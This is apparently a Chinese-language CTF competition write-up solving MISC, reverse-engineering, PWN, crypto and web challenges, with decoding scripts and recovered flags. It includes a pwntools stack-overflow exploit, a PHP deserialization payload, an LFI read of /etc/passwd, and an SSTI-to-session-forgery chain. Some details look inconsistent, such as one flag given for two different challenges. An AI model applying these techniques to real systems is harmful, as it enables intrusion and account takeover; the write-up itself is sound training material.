一、 MISC（安全杂项）

1. 签到题-损坏的压缩包

解题思路：看到打开文件之后发现有“=”，推测是 Base64 加密。

解题步骤：使用 CyberChef 在线工具进行 Base64 解密，即可得到 Flag。

Flag：flag{yznu}

2. 幻影

解题思路：看到是 .bin 文件，首先放入 010 Editor 中解析。发现文件头是 RAR 格式，并且在文件最后段发现了一段字符串：wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb。

解题步骤：编写 Python 脚本，对字符串进行 Base64 解码并与 0xA6 异或完成字符转换。

解密脚本：

import base64
correct_b64 = "wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb"
# 解码并异或 0xA6
decoded = base64.b64decode(correct_b64)
flag = "".join(chr(b ^ 0xA6) for b in decoded)
print(flag)

输出结果：flag{85d6f743-1f27-44f9-a909-85e436ee3434}

3. 迷宫

解题思路：看到后缀是 .bin，放入 010 Editor 中解析。

解题步骤：看到结尾的“=”后，发现是 Base64 编码，所以运用 CyberChef 工具进行解码。得到纯文本密文后即可找到 Flag。

Flag：flag{83228b2031aa650acd1f278704e74c31}

4. 像素中的秘密

解题思路：文件虽为 PNG 格式，但 IEND chunk 后藏有 64 字节的 trailer data。

Trailer 结构分析：

[0:4] — 4 字节未知填充 (\x00\x00\x00\x00)

[4:8] — LCG 种子 (big-endian uint32)

[8:] — 加密数据 (56 bytes)

LCG 参数：state = (1664525 × state + 1013904223) mod 2³²

解密结果：解密后的字符串为 Base62 编码。

Flag：flag{final_flag_png_lcg}

二、 REVERSE（逆向工程）

1. re re re re re re

该题目包含两部分或两种解法线索。

线索A：二进制与抓包分析

解题思路：在 .rdata 段中找到输入验证提示：Input: (0x4000), Correct! (0x4008), Wrong! (0x4011)。程序使用 fgets(buffer, 64, stdin) 获取输入，并要求 strlen(buffer) 必须为 38 (0x26)。

验证算法 (0x1480)：

• 进行 38 轮循环。
• 使用 8 字节循环密钥 k = xor_key[i & 7]，对输入进行 XOR 变换 idx = input[i] ^ k。
• 进行 S-BOX 查表对比：if sbox[idx] != target[i]。

利用方式：使用 Burp Suite 发送 POST 请求获取。

Flag：flag{609841e34e5ef3a17c8c13181ccbe154}

线索B：Python 字节码分析

解题思路：使用 Python 的 marshal 模块加载 .pyc 文件，提取代码对象结构。发现解密逻辑为 Base64 解码后与密钥进行 XOR 运算。

解密脚本：

import base64
encoded = 'oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6'
key = 199
decoded = base64.b64decode(encoded)
flag = ''.join(chr(b ^ key) for b in decoded)
print(flag)

2. Prvrtse3

解题思路：

1. Origin 为 CrackMe_1_2.apk。
2. JADX 反编译 DEX：MainActivity.onCreate() → btnVerify 监听器 → NativeBridge.c()。NativeBridge 声明了 native 方法 a/ab/b/c/cd/dc。
3. 解包 APK：提取 lib/x86/libmyapplication.so (362 KB)，这是一个 strip 过的 ELF 32-bit x86 库。
4. 分析 JNI_OnLoad (0x24f20)：调用 FindClass → RegisterNatives 注册了 3 个方法。
5. 分析核心加密函数 (0x25740)：处理数据块大小 64 (0x40)，存在 XOR 操作（流密码），调用 quarter round 函数 0x271a0，确认为 ChaCha20 实现。
6. 分析 ChaCha20 block 函数 (0x26cc0)：提取 Key、Counter、Nonce 常数。
7. 分析验证函数 c() (0x25330)：获取输入，加密后逐字节与硬编码密文比较。硬编码密文为 d097c3f6d2238172e871ee74bca5859f88178f6e。

参数提取：

• Key (32 bytes): 14 92 63 a1 6f 2d 89 cb f0 37 5b 1c a9 4e 78 d3 22 60 17 ee 9a bc 4d 08 53 e1 76 2a 8d c4 90 3f
• Nonce (12 bytes): 44 33 22 11 ab cd ef 66 88 99 aa 55
• Counter: 1

攻击脚本（节选核心）：

# 从 libmyapplication.so 提取 of ChaCha20 参数
key = bytes.fromhex('149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f')
nonce = bytes.fromhex('44332211abcdef668899aa55')
counter = 1
# 从 APK 中提取的密文
ciphertext = bytes.fromhex('d097c3f6d2238172e871ee74bca5859f88178f6e')
flag = chacha20_decrypt(key, counter, nonce, ciphertext)
print(f"Flag: {flag.decode()}")

Flag：flag{hnctfqwer54321}

3. DES加密验证

解题思路：

1. APK 解包与反编译：通过 JADX 分析 com.cr.crackme2.MainActivity，发现其动态加载 assets/classes3.dex 并调用原生验证函数 native verifyFlag(String)。
2. 逆向 libcrackme2.so：提取该 SO 文件并分析。验证流程为获取用户输入后，使用 des_ecb_encrypt 进行 DES ECB 加密（密钥为 12345678）。加密结果转为 Hex 字符串后与预期值进行比较。

解密脚本：

import binascii
hex_str = "666c61677b47485163594b3271425747573471344a5556316262417d04040404"
decoded = binascii.unhexlify(hex_str)
flag = decoded[:-4].decode('ascii') # 去除 PKCS7 填充

Flag：flag{GHQcYK2qBWGW4q4JUV1bbA}

三、 PWN（二进制漏洞利用）

1. vuln

侦察分析：包含关键字符串 /bin/sh，存在 system@plt 函数调用。使用了无边界检查的危险函数 gets()。

反汇编分析：

• backdoor @ 0x4011f6: 直接调用 system("/bin/sh")。
• login @ 0x40120d: 用户名处 read() 有 64 字节限制，但密码处 gets(rbp-0x80) 无限制，可发生栈溢出。

漏洞利用：栈帧共 128 字节，溢出覆盖偏移为 0x80 + 8 = 136 字节到返回地址。64位系统需要 ret gadget (0x40101a) 做 16 字节栈对齐，最后劫持返回地址到 backdoor。

Exploit 代码：

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# 密码处溢出
payload = flat([
    b'A' * 0x88,         # 覆盖到返回地址
    0x40101a,            # ret 对齐栈 (修复movaps问题)
    0x4011f6,            # system("/bin/sh")
])
r.sendline(payload)
r.interactive()

Flag：flag{3f48c7a7f6563f3a043f940f6809d599}

2. MessageBoard

安全机制 (Checksec)：No canary（栈溢出可直接覆盖返回地址）、No PIE（代码地址固定）、No NX（栈上代码可执行）、Has RWX segments（存在可读可写可执行内存段）。

漏洞分析：vuln 函数中，printf("Buffer at: %p\n", buf); 泄漏了栈地址。随后 read(0, buf, 256); 读取超出缓冲区大小 buf[128] 导致溢出。

Exploit 构建：写入 shellcode，填充剩余空间到 offset (136 字节)，然后将返回地址覆盖为泄漏的 buf 地址，直接执行 shellcode。

Flag：flag{525688d57e55339f2bbf411d1797c0d9}

四、 CRYPTO（密码学）

1. RSA 极小指数攻击

解题思路：脚本给定了 e = 3 的极小公钥指数，无填充，且 c 仅约 730 bits，而 n 为 1024 bits，满足 c < n。因为 m^3 < n，模约减从未发生，所以直接使用小指数攻击（Cube Root Attack）对 c 开立方即可。

解密脚本：

from Crypto.Util.number import long_to_bytes
import gmpy2
# 给定 n, e, c... (省略大数)
m, exact = gmpy2.iroot(c, 3)
flag = long_to_bytes(int(m))
print(flag.decode())

Flag：flag{07f7b9e5cd7961b237aa0eed1b317aa8}

2. RSA 中国剩余定理与 Coppersmith 攻击

解题思路：给定了三组模数 n1, n2, n3 及对应的系数，需要计算标准化首一多项式系数。随后使用中国剩余定理 (CRT) 组合系数 A, B, C，最后通过 SageMath 构建多项式并使用 Coppersmith 算法 (small_roots()) 求解明文。

Flag：flag{47bb21ca99bd894177f689ec102a1aad}

3. ECDSA Nonce Reuse

漏洞原理：当 ECDSA 签名中两条不同消息使用相同的 nonce k 签名时，r 值相同。通过公式推导 k = (z₁ - z₂) · (s₁ - s₂)⁻¹ mod n，然后回代求私钥 d = (s₁ · k - z₁) · r⁻¹ mod n，只需两条签名即可完全恢复私钥。

解密脚本：

import json
from hashlib import sha256
from ecdsa import SECP256k1, SigningKey
# 提取数据后代入公式
k = ((h1 - h2) * pow(s1 - s2, -1, n)) % n
d = ((s1 * k - h1) * pow(r, -1, n)) % n
d_hex = hex(d)[2:]
flag = f"flag{{ecdsa_nonce_reuse_{d_hex[:32]}}}"

Flag：flag{ecdsa_nonce_reuse_d35fe9a03a2162fd5441bb19346d95fd}

五、 WEB（Web 安全）

1. WEB-Snake_Game

侦察结果：经典的贪吃蛇游戏，游戏结束时通过 POST 请求将 score 提交到 index.php。若 score >= 300 返回 Flag。

漏洞分析：服务端完全信任客户端提交的分数，没有任何服务器端验证（如校验步长、游戏时长或签名校验）。

利用方式：直接抓包伪造请求头，POST score=300 到 index.php 即可。

Flag：flag{609841e34e5ef3a17c8c13181ccbe154}

2. PHP_Payment

侦察结果：在数字资产商城页面中，查看 app.js 发现 API 端点 /api/apply_coupon.php（提现代金券）和 /buy.php（购买商品）。

漏洞分析：coupon 参数接受 Base64 编码，经过 base64_decode 后进行反序列化 (unserialize)，且无签名校验，导致 PHP 反序列化漏洞。寻找可用类发现 PromoManager 类的 __destruct() 方法会将 promo_credit 属性值直接加入用户余额。

攻击载荷 (Payload)：

O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:3:"VIP";}

Base64 编码后提交，即可让余额增加并购买售价 99999 的 Flag。

Flag：flag{da91f6ee9d5cceef4705fd4f8af9e3f3}

3. 系统文件包含漏洞

侦察结果：目标为 Apache + PHP 搭建的 OA 系统。页面通过 ?module= 参数动态包含 PHP 文件。

系统环境侦察：

工具	发现
nmap	Apache 2.4.51 (Debian), PHP 7.4.27
whatweb	页面标题 OA System Portal
gobuster	扫出 index.php 入口，未找到敏感目录

关键 Fact 节点：

序号	Fact	获取方式
1	站点为 Apache + PHP 搭建的 OA 系统	nmap/whatweb
2	页面通过 ?module= 参数动态包含 PHP 文件	分析 HTML 源码中的链接
3	?module=/etc/passwd 成功读取系统文件	LFI 测试
4	flag 位于 /flag.txt	遍历常见路径

漏洞推断与利用：由于代码中 include($_GET['module']); 未做任何路径过滤或白名单校验，存在本地文件包含漏洞 (LFI)。测试 ?module=/etc/passwd 成功读取系统文件。随后尝试读取 ?module=/flag.txt 获取 Flag。

Flag：flag{486494bb06932e628c595d285df9eae9}

4. TaxSystem SSTI

漏洞 1 (SSTI)：在 /preview/<profile_id> 路由中，custom_footer 字段未被转义并直接通过 render_template_string() 渲染。虽然存在黑名单过滤，但 config 未被过滤，可以通过 {{ config.SECRET_KEY }} 泄露密钥。

漏洞 2 (硬编码密钥配置)：代码存在硬编码默认 SECRET_KEY 配置机制，泄露后可用于伪造 Session。

攻击链：

1. 触发 SSTI 泄露 SECRET_KEY。
2. 利用 Flask 的 URLSafeTimedSerializer 伪造 Session，提权角色至 tax_inspector。
3. 携带伪造的 Session Cookie 访问 /admin/vault 获取 Flag。

Flag：flag{8fe0832554e14a96448f6aa57257ffc6}

附件：请评论区扣111获取